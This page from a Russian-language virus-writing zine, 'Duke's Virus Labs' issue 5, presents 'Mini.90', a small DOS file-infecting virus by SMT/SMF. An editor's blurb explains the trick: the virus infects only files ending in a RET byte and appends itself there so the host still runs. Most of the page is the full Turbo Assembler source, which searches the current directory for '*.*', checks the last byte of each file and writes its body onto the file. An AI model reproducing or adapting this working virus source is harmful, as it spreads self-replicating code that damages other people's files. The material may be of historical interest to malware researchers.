- [Duke's Virus Labs #5] - [Page 16] - Mini.90 (c) by SMT/SMF Имя вируса : Mini.90 Автор : SMT/SMF Язык прогр. : Turbo Assembler Дата создания : 16.02.99 От редактора : Воплощение идеи примитивного вируса, который не портит файлы после заражения. Вирус не только оставляет возможным излечение жертвы, но и возвращает управление пораженному файлу. Вирус поражает только файлы, которые оканчиваются символом C3h (т.е. командой ret) и записывается в конец начиная с этого символа :) (Имеется даже автоматическая проверка на зараженность ;)) Таких жертв найдется не много, но ведь это демо вирус... ===== Cut here ===== ; Mini.90 by SMT/SMF ; Поражает все файлы в текущей директории, ; если они имеют RET в качестве последней команды. ; Автоматически имеется контроль на повторное заражение :) model tiny .286 ;) .code org 100h start: pusha ; мы же надеемся что эта подпрограмма будет pushf ; работать - тогда скорее всего в регисрах и push es ; флагах будут нужные программе данные push ds ; - их терять нежелательно push cs pop ds call $+3 OFFS: pop bp mov ah,4Eh ;Поиск первого файла lea dx,bp[file_spec-OFFS] search: int 21h jnc infect_file ; Если файл найден, то поражаем pop ds pop es popf popa ret infect_file: mov ax,3D02h ; Открываем файл для чтения mov dx,9Eh ; DX указывает на найденный файл int 21h xchg bx,ax ; BX содержит файловый handle ;Проверяем наличие ret в конце файла call SeekToEnd ; смещаемся в конец mov ah,3fh ; прочитать, что там стоит mov cx,1 lea dx,bp[buffer-OFFS] int 21h mov al,1 ; сюда считаем последний байт buffer equ $-1 cmp al,0C3h ; ret jne Next ; если не ret, то на Next call SeekToEnd ; смещаемся в конец mov ah,40h ; Функция записи в файл mov cx,finish-start ; CL = сколько байт писать ; т.к. ch было ff lea dx,bp[start-OFFS] int 21h Next: mov ah,3Eh ; Закрываем файл int 21h mov ah,4Fh ; Поиск следующего файла jmp search ; Переход на заражение ;------------------------------------------- SeekToEnd: mov ax,4202h ; Функция смещения указателя ; Отсчет от конца xor cx,cx dec cx mov dx,cx ; смещение = (-1) int 21h ret ;------------------------------------------- ; поскольку ret не встретится во всех подряд файлах, то можно ; без страха использовать маску '*.*' file_spec db '*.*',0 ;Маска файлов для поиска finish : ;Конец вируса end start ===== Cut here =====